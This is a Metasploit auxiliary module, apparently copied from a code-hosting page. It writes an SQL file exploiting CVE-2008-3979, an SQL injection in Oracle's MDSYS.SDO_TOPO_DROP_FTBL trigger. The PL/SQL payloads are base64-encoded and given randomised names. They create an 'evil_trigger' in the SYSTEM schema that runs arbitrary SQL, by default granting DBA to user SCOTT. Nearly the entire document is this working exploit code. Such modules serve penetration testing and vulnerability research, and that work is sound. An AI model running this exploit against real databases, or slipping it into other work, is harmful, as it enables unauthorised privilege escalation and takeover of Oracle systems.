Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::FILEFORMAT
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger',
12
      'Description'    => %q{
13
          This module will escalate an Oracle DB user to MDSYS by exploiting a sql injection bug in
14
          the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
15
          given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
16
      },
17
      'Author'         => [ 'Sh2kerr <research[ad]dsec.ru>' ],
18
      'License'        => MSF_LICENSE,
19
      'References'     =>
20
        [
21
          [ 'CVE', '2008-3979' ],
22
          [ 'OSVDB', '51354' ],
23
          [ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
24
          [ 'URL', 'http://www.ngssoftware.com/' ],
25
        ],
26
      'DisclosureDate' => '2009-01-13'))
27

28
      register_options(
29
        [
30
          OptString.new('SQL',      [ false, 'The SQL to execute.',  'GRANT DBA TO SCOTT']),
31
          OptString.new('USER',      [ false, 'The current user. ',  'SCOTT']),
32
          OptString.new('FILENAME', [ false, 'The file name.',  'msf.sql'])
33
        ])
34
  end
35

36
  def run
37
    name1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
38
    name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39
    rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
40
    rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
41
    rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
42
    rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
43
    rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
44

45
    function1 = %Q|
46
      CREATE OR REPLACE PROCEDURE #{name1}
47
      AUTHID CURRENT_USER AS
48
      PRAGMA AUTONOMOUS_TRANSACTION;
49
      BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';
50
      END;
51
      |
52

53

54
    function2 = %Q|
55
      CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
56
      PRAGMA AUTONOMOUS_TRANSACTION;
57
      STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
58
      BEGIN #{datastore['USER']}.#{name1};
59
      end evil_trigger;';
60
      BEGIN
61
      EXECUTE IMMEDIATE STMT;
62
      COMMIT;
63
      RETURN 1;
64
      END;
65
      |
66

67
    prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"
68

69
    exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""
70

71
    exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"
72

73
    fun1  = Rex::Text.encode_base64(function1)
74
    fun2 = Rex::Text.encode_base64(function2)
75
    prp  = Rex::Text.encode_base64(prepare)
76
    exp1 = Rex::Text.encode_base64(exploiting1)
77
    exp2 = Rex::Text.encode_base64(exploiting2)
78

79

80
    sql = %Q|
81
      DECLARE
82
      #{rand1} VARCHAR2(32767);
83
      #{rand2} VARCHAR2(32767);
84
      #{rand3} VARCHAR2(32767);
85
      #{rand4} VARCHAR2(32767);
86
      #{rand5} VARCHAR2(32767);
87
      BEGIN
88
      #{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
89
      EXECUTE IMMEDIATE #{rand1};
90
      EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
91
      #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
92
      EXECUTE IMMEDIATE #{rand2};
93
      EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
94
      #{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
95
      EXECUTE IMMEDIATE #{rand3};
96
      #{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
97
      EXECUTE IMMEDIATE #{rand4};
98
      #{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
99
      EXECUTE IMMEDIATE #{rand5};
100
      END;
101
      /
102
      DROP FUNCTION #{name1};
103
      DROP FUNCTION #{name2};
104
      |
105

106

107
    print_status("Creating '#{datastore['FILENAME']}' file ...")
108
    file_create(sql)
109

110

111
  end
112
end
113

114